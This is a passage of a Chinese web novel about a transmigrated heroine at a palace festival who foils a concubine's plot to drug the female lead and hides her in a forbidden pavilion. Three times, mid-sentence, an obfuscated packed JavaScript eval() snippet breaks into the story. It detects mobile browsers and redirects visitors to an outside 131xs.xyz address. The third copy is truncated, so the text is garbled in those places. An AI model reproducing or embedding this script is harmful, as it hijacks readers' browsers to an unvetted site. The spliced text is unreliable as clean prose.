这么说起来,他和原女配简直可以并列为书里的两大白莲花角色。 寺中的法会一直如此持续了七日,虽然前几天就已经观者云集,但到了太后和皇帝亲自登塔游览的那天,傅苒真正见识到了什么叫人山人海。 之所以最核心的九层佛塔到最后一天才开放,是因为这座寺庙始建于保太后时期,最初立的浮屠只有七层,直到几年前因为火灾,浮屠受损,这才由太后下令重建,并且进一步加高到九层。 大概是有意为之,塔落成时正逢太后四旬生辰,可以算是锦上添花。 只是因为寺中要管控秩序的原因,她先回了谢府,然后才乘车一起过来。到了永宁寺区域,要不是御道戒严,有羽林虎贲在前引路,车架估计都没法靠近大门。 虽然男主公事在身,今天不会有空闲作陪,但作为一个敬业的任务者,她好不容易在客堂坐了下来后,依然下意识就要先寻找苏琼月。 可惜看了半天,都没能从攒动的人影里找到女主的踪迹,反而又见着了萧徵。 这次萧徵不是单独来的,而是跟随着另一位她没见过的中年女性进入客堂中。女人看起来约莫三四十岁左右,和她目前见过的原著角色比起来,相貌上算不了特别出众,但不论仪容还是气质都显得十分华贵,一看就不是普通的人物。 虽然她不认识,但好在身边的刘夫人见多识广,主动招呼道:“倒是没有想到,建兴长公主也来得这样早。” 原来这位就是萧徵的继母,傅苒也随着刘夫人行礼,听到建兴长公主柔声道:“想着今日人必定多得很,若是命家仆驱赶未免麻烦,还不如提早出发,好省些事端。” 听起来,刘夫人和建兴长公主像是早就认识。虽说这话应该只是客气两句,不过要不是东郡公,她们本来可能来得更早的。 东郡公谢易在原著里就和太后不对付,认为她一介妇人祸乱朝纲,再加上崇佛在他眼里根本不是好事,所以直接就没来参与。 直到临出门前,他还板着脸对她们说了一番坏处,刘夫人却不愠也不恼,微笑道:“夫君心怀天下事,所思所想自然远大,妾虽一深宅妇人,但亦有关怀生民之心,太后仁德,佛祖慈悲,能在佛事上尽一份心也是好的。” 不管东郡公怎么样,她都是不反驳也不退却的态度,最后他没话可说,只好嘱咐了几句早些回来之类的套话。 如果说东郡公像块棱角分明的硬石头,那刘夫人的性格就如若流水,且涵养极佳,至少傅苒来了这么久的时间,还从没见过她为什么事情动怒。 这场仪典极为盛大,宗室诸王中除了已经被调任去地方的那些以外,还在京中的高阳王、汝南王、北海王等全都到了场,但太后身边离得最近的,除了内侍女官外,多数还是自家人。 丞相苏儋隔着半步距离,紧随太后左侧,太后右手边则搀扶着身着命妇礼服的刘夫人。傅苒也跟在随行的群体中,终于见到了苏琼月,和其余几个她不认识的苏家人一起在她前面。 老实说,太后完全不是很多影视剧里那种老态的形象,不过她的确也就刚到四十岁而已,这位临朝称制近十年,过往中无数风波的经历者,外在上仅仅是位气度雍容而典雅的贵妇人。 在太后旁边不远处的,就是如今已亲政的皇帝,这位年轻帝王虽然跟晏绝同父异母,但长相上更偏于英武,实际看着并不怎么相像。 相比起来,小病娇和完全没有血缘关系的苏琼月反而略有几分神似,也算是某种神奇的巧合了。 最前方,皇帝与太后言笑晏晏,一派母子和睦的景象。 然而这样的和睦并非全无芥蒂,谁都知道,太后掌握朝政的时日实在太久了,即使在皇帝已经成年,决心大刀阔斧做出一番成绩后,也依然没有明确放弃权力的迹象。 在这几年里,两宫之争虽然从未摆在明面上,但皇帝想方设法剪除太后党羽和苏家外戚的动作却是不少人都看在眼中的。 直到李家谋反案牵连出一干人等,太后那边的势力元气大伤,苏家也识时务地选择了退让,双方的矛盾才算是得到了缓和。 不过说到底皇帝还是由苏太后抚养长大,两人不是没有过亲情,以往的争端又主要是因皇帝寻求亲政而造成的,所以在他争到想要的结果后,明眼人都能看出,过往的交锋已经告一段落了。 尽管在场者各怀心思,可任何人都不会在这种时候暴露出自己的想法。 只是人一多就容易出错,傅苒注意到苏琼月在登上台阶时,没留神踩到了裙角,脚步霎时踉跄一下,险些要摔倒。 虽说是险些,其实这么多人在,也不可能真的让人摔下去。但左右还未动,离得不远的皇帝就立刻上前两步先扶住了苏琼月,出言提醒道:“小心脚下。” 众目睽睽之下,苏琼月不由脸色通红,连忙低头为自己的失礼致歉。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15449693|168959||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 皇帝此举已经算是有些亲密了,好在众所周知苏琼月自小养在宫中,要是算上太后的那一层关系,她和皇帝名义上都能算半个堂亲,所以放在两人之间倒也还合乎于情理。 然而,太后却微不可查地皱了皱眉,开口便唤了她的乳名,直接打断了皇帝要继续说的话。 “皎皎,到姑母身边来。” 皎皎是苏琼月的小名,美人如月,望之皎皎,正应了她名字中的那个月字。 苏琼月连忙答应,顺从地跟到太后身边去。 皇帝望着她的眼神里,仿佛有微不可查的暗色一闪,随后自然地放开了手,任她转身而去,扬起的披帛如流水般在他指尖曼妙划过。 这个小插曲没人放在心上,就这样过去了。 可尽管皇帝在外表上掩饰得很好,但傅苒很清楚,他对苏琼月的想法绝对不怎么单纯。 反正这篇文里女主的人设就是倾国倾城玛丽苏,爱慕她美貌的人数不胜数,当然,皇帝属于比较矫情的那种。因为他既觊觎苏琼月,又不愿意让再一个苏家女子从后宫中获利,所以始终掩饰着自己的心思。 但这种人掩饰着掩饰着,通常容易生出变态心理就是了。 现在不是想这个的时候,傅苒暂时敛起思绪,望向近在咫尺的九层佛塔。 这座塔极其高大,也极度华丽,每层都设有四门六窗,窗饰朱漆,门扉上皆有五行金铃,加之金环铺首。檐角和塔刹通向地面的铁索上同样悬满了金铎,高风吹过,能听见悠远的铿锵之音。 永宁寺住持在塔前迎接太后,僧人年岁已高,须发间不免显出了苍苍老态,但精神尚且矍铄,此时向太后行合十礼道:“贫僧妙空率永宁寺僧众,恭迎太后陛下、皇帝陛下圣驾。” “妙空大师不必多礼。” 众人纷纷合十致意,太后似乎和住持本就是旧识,笑着寒暄道:“法师一向可还康健?我亦是许久没有空暇来寺中了,只好让侄女来替我抄经奉养,多蒙关照。” “托太后的福运,贫僧身体并无大碍,唯独年岁渐长,到底比不得从前了。”住持言辞谦和地回应,“然苏娘子礼佛至诚,孝心可嘉,实乃幸事。” 苏琼月当众受到夸赞,一时有些不好意思地补充:“姑母,其实也不只是我,近日来阿真也常常过来为姑母祈愿,几乎每天都没有断过的。” “是吗?” 太后淡淡一笑,却没有接下去说什么,反而看向人群中的萧徵,岔开了话题:“听说太常寺督办法会不易,能做得这样细致,你也辛苦了。” 萧徵忽然被提起,也不显慌忙,仍然不卑不亢道:“份内之事而已,多谢太后体谅。” 傅苒旁观了这遭对话,又看了看脸上始终挂着笑容,就好像什么都没有听见的晏绝,感觉有一丝莫名的唏嘘。 小病娇还真是不受欢迎啊。 女主偏爱谢青行不说,连从小抚养他的太后看着也不怎么把他放在心上……亲缘关系未免太差了些。 19. 第 19 章 虽然说是随太后游塔,但因为场面拘束,傅苒的位置又靠后,所以她这天其实没看到什么景色,只来得及欣赏了一下浮屠上层金碧辉煌的各种装饰和壁画。 而且太后参观过后,认为佛塔离地太远,站在上方甚至可以窥见宫城内部,便禁止了高处开放,不再允许人上去。 不过这倒无关紧要,因为近在咫尺的就是下一个剧情——宫宴。 当天由于要进宫城,怕路上耽误时间,清晨初至的时候,谢府的车就已经早早地出了门。 太后已听政多年,在朝中也影响甚广,所以生辰之贺不可谓不隆重。她一天中先要接受朝臣、宗室、后妃等数轮朝拜和献礼的缘故,整个宫里都忙碌个不停,从未时往后人数才渐减,到晚宴时分则以京中高门间的命妇和女郎为主。 傅苒也在人群里,先是依次序在殿外静候,一直站得腿都快麻了,终于轮到在庄严的韶乐中行礼叩拜太后。 整套礼仪结束,最后才是等待分席赐座。 等到总算坐下之后,她悄悄呼了口气,有种终于走完流程了的如释重负感。 和谢晞容一样,傅苒的席别被分到了世家女郎这边,上首就是身着翟衣的皇后。 永宁寺那天因为隔得远,她没怎么看清,今天才发现皇后似乎不比她年龄大多少,但或许是在宫中磨练过的缘故,皇后的仪态举止显得格外端庄,令原本温婉的长相中都流露出一缕雍容的气质。 只是帝后二人虽然坐席靠近,行为却仿佛算不上亲密,虽然挑不出毛病,却隐约透着相敬如宾的距离感。 谈到后宫和宫斗,这本书其实写得不多,无非是皇后出身望族,地位一直稳如泰山,只是不太得宠,受宠的是另一个姓卢的充华,而她才是傅苒准备要关注的人。 这个角色本身倒没什么特别,却关系到傅苒看古早小说时最头疼的一个梗,反派给女主下情药。 原著里,卢充华就是那个下药暗害女主的工具人。 但是不管这位充华在皇帝那里多么得宠,依然不讨太后的喜欢,所以连宫宴都没能出席,也就暂时看不到她的模样。 这时太后和坐在她身边的建兴长公主闲谈,似乎是正聊起华林园,忽而指向座中一位女郎,对皇帝道:“我仿佛想起来,去岁我们游园赏花时,你正是赠了她牡丹,你可还记得?” 傅苒依着太后的目光看过去,一眼就见到了自己上列坐席间的目标。 虽然宴上每个人都正襟危坐,但这位女郎的容仪格外出众,那种白鹤般优美的姿态仿佛已经融入了她的一举一动之中,无论是浅斟慢饮,又或是静坐垂首,任何时候都显得端庄而窈窕,在旁人看起来堪称一幅赏心悦目的仕女画。 更主要的是她偏巧还见过对方,是上巳那天好心借了氅衣给她的崔家女郎。 傅苒当时没反应过来,但事后就想起,这位崔二娘子应该正是原著里女主的对照组,女配崔鸯。 根据原著描述,崔鸯容貌清冷,精通诗 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傅苒坐在随后的另一条小舟上,湖面清风徐徐,送来人声,她听见坐得不远处的一个女孩似是有些艳羡道:“崔娘子和皇后殿下关系真好。” 身边的姊妹却轻哼了一声:“你呀,就是脑子太简单了,你就没想过,皇后为什么单单对她这么好?” 女孩果真惊奇道:“为什么?” “皇后和崔鸯是故交不假,但进了宫,以前的交情算什么?”那女郎拉了妹妹一把,压低声音神秘道,“我看,怕不是想效仿当初娥皇女英……” 20. 第 20 章 寿宴虽然结束,但太后的兴致未减,照旧留了几家女眷在宫中小住,说是自己平时无事,难得有些人陪着说说闲话。 毫无疑问,皇帝肯定是那个最愿意让她“无事”的人,因此表现得十分乐见其成。 别的不说,倒是正好让傅苒熟悉了一遍宫廷副本的地图。 后宫的建筑主要集中在九龙、嘉福和宣光这几殿以西,和主殿相比之下,东边明显少了很多人声,一般只有去游园的时候才会从那边经过。 有时偶然抬头看过去,还是能见到几座精致楼阁的影子,只是好像没人在里面居住,门扉也永远紧闭。不过想想皇帝年纪尚轻,后宫里的嫔妃没多少,所以用不着那么大的地方也正常。 但谢晞容对她充满提防,好像担心她因为好奇乱闯祸,见到傅苒望了几眼,立刻不满意地把她的视线扳了回来。 “别看了,那边是禁地,从我很小的时候就关着了,你可别想着偷偷进去。” “……禁地?” 说到这个话题,谢晞容难得摆出了一脸严肃的态度,小声告诫她:“里面失火死过人的,后面就被封禁了,我听说是因为以前修好之后,半夜里头宫人都听见有鬼哭的声音。你要是乱走,不小心被冤魂缠上了,说不准还得殃及到我们家。” 谢家有个肱骨重臣,刘夫人又和太后关系匪浅,身为唯一的小女郎,谢晞容应该常有进宫的机会,听说过这种传言倒是一点也不奇怪。 就是什么失火鬼哭的,听起来实在很像一场宫斗大戏。 傅苒点点头表示知道了,又顺口问了一句:“那你怎么知道这里是禁地的?” 这本来是个很自然的问题,可谢晞容脸上却不知道为什么露出了略带心虚的神色,很快就别开了脸:“你什么意思?我就听宫人说的!” 更可疑了,不会是某人曾经自己想进去,结果被发现了吧。 谢晞容一向直白,有限的心思基本全写在脸上,导致傅苒莫名有种逗小孩的心态,软绵绵拖长了调子。 “这样啊——真的没有进去过?” “没有,就是没有!”谢晞容着急为自己辩白,立刻提高了点声音。 “我只是,只是有一次跟伯母来的时候,听说有宫人偷溜进了禁地,太后当时特别生气,说肯定是为了行巫蛊之事,所以把人重罚赶去永巷了。这事跟我一点关系都没有!” 傅苒见好就收,在她完全炸毛之前识相地开始安抚:“我都信,我刚刚瞎说的,别放在心上。” 不过她心里觉得,这说法听起来神神秘秘的,但多少有点不太对劲的地方。比如太后要是这么忌讳鬼神之说,干脆直接请一堆僧道来超度,再把原址拆了重修成庵或者道观,比空置在原地变成禁区不是强多了。 除非其中真有什么宫廷秘辛。 那她还是别知道的好,毕竟好奇害死猫。 这时节夏日炎炎,只有邻水的地方显得清凉些许,是以皇后办的一场小型集会,位置便选在了灵芝池边的水榭中。 皇后和她们年纪相仿,尤其在没有穿戴着厚重的礼服和头面的时候,完全还是少女的模样。如果她不是时刻端着仪态的话,场面上看起来就像几个相好的小娘子在家中聚会一样。 而今日这场小集行的射覆,是宴席上常有的一类猜物游戏。 覆主用碗或帕子覆盖住某件事物,其余人则要用诗文隐语来猜测物品是什么,因为猜中者除了得到彩头以外,还往往能赢取才情上的美誉,所以这种游戏于文人间很是盛行。 在这里,执掌谜题的自然是皇后身边的女官,按照尊卑次序,本来应该由皇后先来猜。 但她目光转了一圈,却将盛盘推向了崔鸯面前,露出平常的笑容:“我这人向来才疏学浅的,还是让贤为佳,崔娘子才华出众,又精通诗赋,不如由你来做这个解覆人吧。” 这样一来,崔鸯无疑成为了人群焦点。 自然,这是个展现才学的好机会,可崔鸯静了一瞬,情绪仿佛有些复杂,但最终只是婉言回复。 “我与皇后太过熟悉,要是一猜便知,未免有失公允,或许另选他人会更好。” 随后,她转向座中其余人,在一张张熟悉的面孔上掠过,最终出人意料地定在了傅苒身上,向她柔声道:“不知可否恳请娘子代我来解覆?” 什么情况,怎么忽然就轮过来了? 傅苒一愣,很快觉察到充满探究投向她的视线,和场上略显微妙的气氛。 但是看到崔鸯略带请求的神色,想到欠着一个人情,她顿时点点头答应下来。 “……崔娘子说得也是,如此最好。”皇后依然笑着,并未流露不悦,只是眸中掠过难以觉察的黯然。 傅苒看了看两边各自的表情,以及周围人的态度,感觉情况比她想的还复杂。 经过在谢晞容和刘夫人那里打听,再结合她对原著的了解,她已经大概弄清楚了这场皇家八卦的起因。 根源就像小说里常出现的那样,说到底在于皇后这个位子。 概括一下就是,在去年之前,苏琼月和崔鸯毫无疑问是表面上最有希望的皇后人选。前者是因为美貌出众,和皇帝又是自小相识,有太后姑母的助力;后者则是因为崔家势大,而崔鸯本人各方面都很出色,素有美名。 没想到,局势看着鹬蚌相争,最后竟然是渔翁得利,让善于站队的郑家横空杀出来夺得了这个位置。 如今的皇后,也就是郑家娘子,和崔鸯自小结交,曾经是极好的朋友。但由于这些纠葛,两个人如今的关系……看起来很难像从前一样了吧。 但这好比一场大戏,万人瞩目不说,结尾还特别戏剧化,很难不引起旁人的注意。 不过崔鸯这边没什么表示,苏琼月那边又兴致缺缺,明显半个字也没听进去,导致风言风语全都变成了媚眼抛给瞎子看。 当然了,没有人比傅苒更清楚,女主这会正沉浸在失恋般的少女忧郁情怀之中,压根没空管这些八卦流言。 话说回来,她现在是不上也得上了。 傅苒虽然比不了崔鸯这样的著名才女,但因为外婆言传身教,在国学上面多少有点底子,盯着锦帕下面的稍圆的形状思索了半天:“嗯……明镜如明月,恒常置匣中?” 这句直接提了镜字,应该算不上精妙的隐语,可她实在想不到什么别的了。 结果也没有猜中,下一个轮到的谢晞容,对这种过于风雅的猜谜更是既不感兴趣也一窍不通。直到再过了好几个人,终于有位女郎的“新裂齐纨素,鲜洁如霜雪”合上了。 女官掀开锦帕揭晓谜底,下面果真是柄团扇。 好在傅苒用不着争魁,只要帮崔鸯转移一下矛盾就行了,就这么轮了几回之后,苏琼月正好坐到了她的旁边。 宫廷中人多眼杂,不像寺里清净,她只能趁此机会和女主说几句话。 但问题是傅苒虽然记得下药在宫宴期间,却不清楚具体的时间,只确定一点,原著里说催情散是被放在了熏香里,大约是因为比食物酒水更好处理的缘故。 恰好这时候水榭中凉风清幽,送来阵阵荷花的香气,她念头一转,索性拿手掩住下半张脸,假装打了个喷嚏。 旁边的谢晞容已经看得百无聊赖,横了她一眼道:“你又怎么了?” “可能是因为这里花香太重了吧。”傅苒正等着她发问, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15469494|168959||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不假思索道,“我对气味很敏感,一闻到就要难受。” 谢晞容鼓起脸颊,表情有点儿不以为意:“花香这么好闻,有什么闻不得的,你这人可真麻烦。” 反倒另一头的崔鸯听见后目光微动,不知有没有理解她的意思,但不着痕迹地把话题接了下去。 “有人先天就是受不得某些气味,就像我兄长,连菜里放的一点酢浆也闻不了,所以从不食酸菹。不过,天下之大,无奇不有,敏感些其实也未见得是坏事。” “是呀,崔姐姐说得对。”傅苒差点在心里为她的洞察力鼓掌,“我还听说过,香气有时会被人用来掩盖别的东西,譬如旧屋里腐朽难闻,售卖时就会放香花来盖住味道。所以——” 她努力暗示女主,“若是平时闻到什么异样的香味,恐怕还是提防些为好。” 女主虽然善良,但又不蠢,基本的防范意识肯定还是有的。 到崔鸯开了口,苏琼月似乎才放在了心上,尽管脸上略有些不解,但还是表示赞许地点了点头。 以读者傅苒的了解,这倒不是因为女主跟崔鸯关系有多好,而是女主从小就听惯了崔鸯博学多识的名声,所以天然有种学渣对学霸的崇拜之情。 她因为心思根本不在上面,所以射覆没得到什么彩头,但随后的游乐更是如同流水线。 除了寻常的宴饮以外,还有行棋、握槊、双陆,又或者游园斗草,几乎没有闲着的时候。 直到这天,傅苒又一次从绮秀轩路过。 这里是卢充华的住处,凡是经过,她都要多瞄几眼,随时关注着剧情的发生。 其实如果可以的话,能盯着女主当然是最好,她倒是也想,可惜苏琼月平日起居都在太后那儿,不是她想见就能随时见到的。 平时没见什么异常,但这天,不知道是不是碰巧,但里面人声嘈杂,来来往往间似乎显得有些混乱。 傅苒不由得担心起来,难道她来得太晚了? 以她的身份,贸然闯进后妃的居所当然有所不便,但如果苏琼月确实遇到了危险,那就非得进去不可了。 她朝门口走过去,准备装作问路,可还没等靠近,便有一群人匆匆迎面赶来。 最前方的是位宫装少女,年龄很轻,脸庞和眼睛都圆圆的,模样很可爱,但此时表情异常焦急,步伐快得几乎有些凌乱,后面还跟着好几个神色慌张的婢女。 来人应该就是卢充华,傅苒立刻上前几步,假装无意地拦在了她们的去路上。 卢充华见到她似乎一惊,虽然两边并不认识,但到底听闻了太后留了些世家贵女在宫中的事,此时事态紧急,她也顾不上再问对面是哪一家女郎,软言道:“这位娘子,容我打听一声,刚才可有见到苏娘子离开?” 听这个语气……莫非苏琼月已经走了? 傅苒心中一动。 原本她想的是,万一真的碰上了,就算闯进去也要阻止,但现在看来,女主有没有中招不好说,但至少跟原著的发展并不完全一样? 她马上随机应变地指了个方向:“姐姐是想找苏娘子问什么吗?我刚才好像看到她往太后陛下的宣光殿去了,或许是有事先走了吧。” “是吗……那真是太好了。” 卢充华仿佛原本就是奔着那边去的,向她急切道了谢,连忙又离去了。 支走卢充华,傅苒赶紧打量了一圈,找到绮秀轩侧后门的方向,立刻往记忆中的位置深入去寻找。 越往前,人影越少,直到拐过弯角,一个人差点和她相撞,刚碰到,就几乎立刻倒在了她身上。 她望见那张熟悉的美艳面容,终于放了一半悬着的心:“苏姐姐?” 21. 第 21 章 苏琼月紧紧抓着眼前人的衣衫,头脑昏沉,一阵阵热意从身体中涌上来。 她今天原本是应卢充华的邀请去坐坐的,却没想到事情会变成这样。 卢充华本名卢思静,年岁跟她差不多,生得很美貌,只是看起来总有些怯怯的,像只羽翼柔嫩的小鸟儿,对谁都甜言软语,永远是一幅笑脸相迎的样子。 太后姑母并不喜欢她,但苏琼月怜惜对方入宫的年纪小,宫廷规矩又重,有什么差池也难免,所以有时候会照拂一二。 经过几回之后,卢思静便有投桃报李的意思,得了什么好东西就邀请她去试试。 这回本来也一如往常,只是见面时,苏琼月注意到,原本身段纤细的卢思静不知为什么忽然看起来丰腴了些,不过这点小细节,她打趣两句就抛在脑后了。 她们两人闲谈,婢女自然都留在外头,期间卢思静忽然说听到了什么动静,起身暂时出去了。 过了一会,她看到宫人去给熏炉添火,很快嗅到了一种陌生的浓香。 苏琼月便问了一声这是什么香,宫人却支支吾吾地答不出来,只说是充华新得的好东西。 虽然是件琐碎的细节,但她忽然想起那天小聚上听到的话,心中不由闪出一种怪异感。 加上卢思静久久不归,她心中防备渐重,当即以更衣为由进入殿后,本想找到自己的婢女,却发现人都不见踪影,惊异中又意识到身体越来越不对,于是慌不择路地撞见侧门,一路跌跌撞撞离开了。 离开没多久,后面骚乱的动静越来越大,她晕得厉害,下意识想躲开人,却不想撞见了熟悉的面孔。 傅苒刚想开口说什么,就感觉一阵拉扯的轻微力道,竟然是被女主拽住了衣角。 那张极端明艳的脸上已经不知不觉染上媚意,脸颊泛着一丝潮红,像是不知道怎么办才好地仰头望着,哀求之意露于言表:“别走……” 美人软语,我见犹怜。 可苏琼月其实也并不是和傅苒有多么亲近,只是这时候没有旁人可靠,内心才会下意识依赖起来。 也许是天性如此,她自幼时失去了父母,便总是依附于他人活着,先前是伯父伯母,后来又是太后。 苏琼月永远处在这些长辈密切的庇护之下,周围像是碰不到一点棱角的奢华金笼,只有挣脱过这些束缚的鸟儿,才能明白笼外也自有天地,但她偏偏是从来没有离开过笼子的。 依赖一个可以信任的人,对她来说几乎已经是本能的事情。 “好,我保证绝对不走。” 傅苒对女主的想法自然一无所知,但能理解苏琼月刚遇到了这种事情,现在肯定很需要安全感。 不管怎么样,先尽量安慰总是不会有错的。 可惜傅苒左右看了看,发现服侍女主的宫人都不见踪影。不过想想也明白,都已经用到下药这样的手段了,怎么可能还留着身边人在。 原著里,苏琼月同样在发现不对后跑了出来,只是应该迟了些时候,然而随后遇见的,却是一个她从未想到过的人。 也就是这次,她终于在震惊和恐惧之中意识到,从小视若兄长的皇帝竟然对她有着别样的心思。 虽然因为苏琼月太过惶恐,以至于在药性影响下依然挣扎到弄伤了自己的地步,皇帝到最后没能对她真正做什么,但毫无疑问,这事给女主造成了极大的心理阴影。 哪怕在后来成婚很久之后,她都还是十分抵触和人同床。 现在发现得早,皇帝大概率还没到附近,但她们得赶紧离开,不能被人看到。 傅苒瞄了一眼已经快神志不清的女主,压低了声音问她:“苏姐姐,你有没有能暂时歇息的地方?还能给我指路吗?” 苏琼月眼神迷茫,整个人都倚靠在了她身上,像是要好半天才能反应过来这句话的意思:“宣、宣光殿……” 果然第一反应还是要找太后。 可平时就算了,现在好几位贵妇留在宣光殿那边作陪,还有个急匆匆赶过去的卢充华,估计已经乱成一锅粥了,但女主这个情况,好像又不好让人撞见。 傅苒还没想好要不要去,依靠在她身上的苏琼月已经难耐地呜咽出声,连呼吸都显得有些灼热,喃喃道:“我好难受……” 眼下的问题要紧,她立刻说:“那我们先找地方躺着,你缓一缓再说。” 当务之急,还是得寻到一个足够隐蔽的场所才行。 光记着原著里女主离开的方向,都没注意到底顺着走了有多远。傅苒后知后觉地打量了一圈周围,这才发现她们现在正身处人踪少至的东侧区域,前面不远的地方,就是谢晞容跟她再三强调不能进去的禁地。 可举目四望,视野里除了草木就是开放的回廊,压根没有足够封闭的地方可以不引起注意。 不对,其实有一个。 傅苒瞥见了角落里拴着把大铜锁的门。 她总感觉自己现在特别像恐怖片的主角,开始还信誓旦旦地要远离禁地,最后被怪物一追就不得不进去了。 不过那么大一个禁地也不是她说进就能进的,门上还挂着把明晃晃的铜锁呢。 傅苒扶着苏琼月挪到门边上,有点发愁地晃了晃锁身:“苏姐姐,这里倒是够隐蔽,可我也不会开锁啊……”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15473362|168959||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 话音未落,锁芯就随着她摇晃的动作啪地一滑。 然后……开了。 “……”傅苒陷入了尴尬的沉默。 要不说女主有光环呢,堂堂一个禁地的守卫居然能这么随便?锁栓根本都没拴上吧! 由于这天助般的神奇巧合,这下她们不进去好像都有点不太合适了。 没想到,进了门以后的情况越发奇怪,所谓的禁地看起来怪异得很,说没有人打扫吧,到处也不怎么见到蜘蛛网之类的痕迹。 但要说有人打扫,所有东西上面又都积了层厚厚的灰尘,连墙角的缝隙里都生出了一小撮莠草,甚至长得相当茂盛。 总之就是一股浓浓的悬疑剧气氛。 当然,如果忽略这些可疑点的话,总体上还是能看出来这里原本是座精美的楼阁,虽然据说遭过火灾,但损害并不明显,至少外表上已经修复得很完整了。 傅苒把进来的地方尽量恢复原样,然后四处确认了一遍,最终也只发现中间房间的灰尘看着比其他地方要略少些,可能是因为门窗封闭的缘故。 她打开那扇同样没有拴好的门,看到室内家具很少,好在不太脏,便把苏琼月扶到还算干净的榻上。 苏琼月似乎很是难受,依然半靠在她身上,没什么力气地握了一下她的手:“谢谢……谢谢你……” “没关系,你没事就太好了。”傅苒用微凉的手背碰了下苏琼月的脸,让女主躺得尽可能舒缓一些。 她正思索接下来怎么办,到底在这里等药效过去,还是先去叫人,却忽然听到外面又隐约传来声音。 难不成有人追进来了? 不,卢充华那边的人应该已经被支走了,她看着走远的,没道理忽然转回来,而且这里既然是禁地,有太后重罚的案例在前,普通宫人哪里敢进来。 现在会出现的,大约不是平常人,别真是牵扯到什么宫廷秘密吧。 她犹豫了几秒,本想找件趁手的防身物品,可惜室内物品太少,忽然瞄到苏琼月头上的发簪,连忙压低声音说:“苏姐姐,抱歉,我先借用一下。” 虽然要是来人真有什么问题,发簪未见得有什么太大作用,但有备无患总是好的。 奇怪的是,走出门却没看到人影。 傅苒迟疑地往外走了两步,眼前仿佛蓦地一暗,还没来得及说话,就感觉有股力道扣住她的肩往后拽过去。 她猝不及防之下,踉跄了几步,就这么被带着转过身,整个人摁在了柱子上。 突如其来地,傅苒对上了双熟悉的、黑沉沉的眸子。 “……殿、殿下?” 22. 第 22 章 晏绝似乎是才看清她的样貌,手上的力道放轻了下来,却还是将她牢牢困在原地。 他脸色很古怪:“你在这干什么?” 嘶,果然还是这股正宗阴暗批的感觉。 很难说是让她因此提起了心,还是看到认识的人而松了一口气。 虽然不知道他为什么会出现在这里,但是小病娇……情绪似乎格外不好,就算傅苒被晃得脑袋还晕着,都警醒地感受到了这一点。 确切地来说,他恐怕是心情糟糕到了极点,以至于连脸上假面一般惯常的笑容也懒得再维持,无所顾忌地流露出了不加掩饰的恶意。 这种恶意,甚至比那天她撞见他杀人的时候,都还要更强烈。 就好像她要是敢说什么偶然路过之类的蹩脚借口,晏绝当场就要让她一命呜呼似的。 “我是为了躲人才进来的!” 傅苒感觉到按在她脖颈间缓缓摩挲着,好像马上就要收紧起来的手指,半点犹豫也没有,马上用最怂的速度飞快地解释了一切,“苏姐姐中了情药,我怕被人发现,所以才不小心带她进了这里。” 她手里还紧紧攥着苏琼月的簪子,就像展示保命符一样,胆战心惊地摊开了掌心自证清白:“喏,你看,这是我刚刚跟她借的,她的发簪。” 气氛太异常了。 不是她想卖队友,是她察觉到,不快点把女主这个保命符搬出来的话,她怕晏绝立刻就要把这里变成真的恐怖片现场。 “阿姊……” 少年眼底冰流般寒凛而阴沉的情绪,在听到苏姐姐这几个字的时候愈发凝结,困惑道:“她在这儿?” 他像是恢复了一些冷静,可很快又被混乱的情绪取代:“你怎么遇到她的?她现在在哪里?” “就、就躺在那边屋子里……”傅苒刚抬起手指了个方向,钳制她的力量便一松,压迫感骤然远离。 她半靠在柱子上,揉了揉脖子上被他碰过的地方,莫名有种劫后余生的感觉。 不幸中的万幸,女主的光环还是挺有用的,好歹小病娇没对她下手太重。 可分明有哪里不太合理啊,要说她救走苏琼月完全是临时改变而产生的剧情,不在原著线里面,更不应该这时候遇见晏绝,本来他在这段宫宴的内容里,压根都没几次出场戏份的。 所以……傅苒慢慢平复下过快的心跳,小心抬眼望了望四周。 这个哪里都透着怪僻感的禁地,难不成竟然跟晏绝有什么关系? 那她也是太倒霉了点吧。 …… 熟悉的房间。 一个应该已经在大火中烧毁的,不再存在的地方。 晏绝从迈入门中的那刻起,便不可抑制地感觉到喉咙发紧,仿佛被某种记忆中曾存在过的窒息般的痛苦攫住。 他的视野中出现了一个模糊的身影,蜷缩在床榻之间。 像是面色泛着潮红的苏琼月,却又忽然和另外的影子重叠起来。 幻觉和絮语蜂拥而上,像是溺在水中的草蔓,一层层缠绕交织起来,将他径直拖入到无尽的梦魇当中去,耳边不断浮现出窃窃私语。 “是不是该进门收拾了?” “还是再等一会吧,……刚才来过呢,只怕……” 低声交谈的宫人抬眼望见他,猛然一惊,上前想要劝阻,却已经阻拦不及。 “小殿下,小殿下,里面现在不方便进去!” 